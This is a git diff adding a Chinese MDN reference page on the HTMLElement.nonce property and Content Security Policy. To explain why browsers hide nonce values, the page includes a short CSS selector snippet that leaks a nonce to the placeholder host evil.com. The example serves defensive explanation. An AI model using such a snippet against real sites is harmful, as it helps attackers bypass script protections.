1 files changed, 62 insertions, 0 deletions
diff --git a/files/zh-cn/web/api/htmlelement/nonce/index.html b/files/zh-cn/web/api/htmlelement/nonce/index.html
new file mode 100644
index 0000000000..018a276376
--- /dev/null
+++ b/files/zh-cn/web/api/htmlelement/nonce/index.html
@@ -0,0 +1,62 @@
+---
+title: HTMLElement.nonce
+slug: Web/API/HTMLElement/nonce
+translation_of: Web/API/HTMLElement/nonce
+tags:
+  - API
+  - Content Security Policy
+  - Experimental
+  - HTML DOM
+  - HTMLElement
+  - Property
+  - Reference
+  - nonce
+browser-compat: api.HTMLElement.nonce
+---
+<p>{{SeeCompatTable}}{{APIRef("HTML DOM")}}</p>
+
+<p>{{domxref("HTMLElement")}} 接口的 <strong><code>nonce</code></strong> 属性返回只使用一次的加密数字，被内容安全政策用来决定这次请求是否被允许处理。</p>
+
+<p>在接下来的实现中，有nonce属性的元素只能在脚本中使用（不可以在其他渠道使用，比如css属性选择器）。</p>
+
+<h2 id="语法">语法</h2>
+
+<pre class="syntaxbox notranslate">var <em>nonce</em> = HTMLElement.nonce
+HTMLElement.nonce = <em>nonce</em></pre>
+
+<h3 id="访问nonce属性值">访问nonce属性值</h3>
+
+<p>以前，并不是所有的浏览器都支持 <code>nonce</code> IDL属性，因此在实际应用场景中，尝试使用<code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Element/getAttribute">getAttribute</a></code> 作为备选：</p>
+
+<pre class="notranslate">let nonce = script['nonce'] || script.getAttribute('nonce');</pre>
+
+<p>然而，最新的浏览器版本都隐藏了 <code>nonce</code> 值（返回一个空值）。IDL属(<code>script['nonce']</code>)成为唯一的访问方式。</p>
+
+<p>隐藏Nonce是为了阻止攻击者通过某种机制提取出nonce值，比如下面这种方式：</p>
+
+<pre class="notranslate">script[nonce~=whatever] {
+  background: url("https://evil.com/nonce?whatever");
+}</pre>
+
+<h2 id="说明">说明</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">说明</th>
+   <th scope="col">状态</th>
+   <th scope="col">注释</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','#attr-nonce','nonce')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>初始定义</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="支持的浏览器">支持的浏览器</h2>
+
+<div>
+<p>{{Compat("api.HTMLElement.nonce")}}</p>
+</div>
+\ No newline at end of file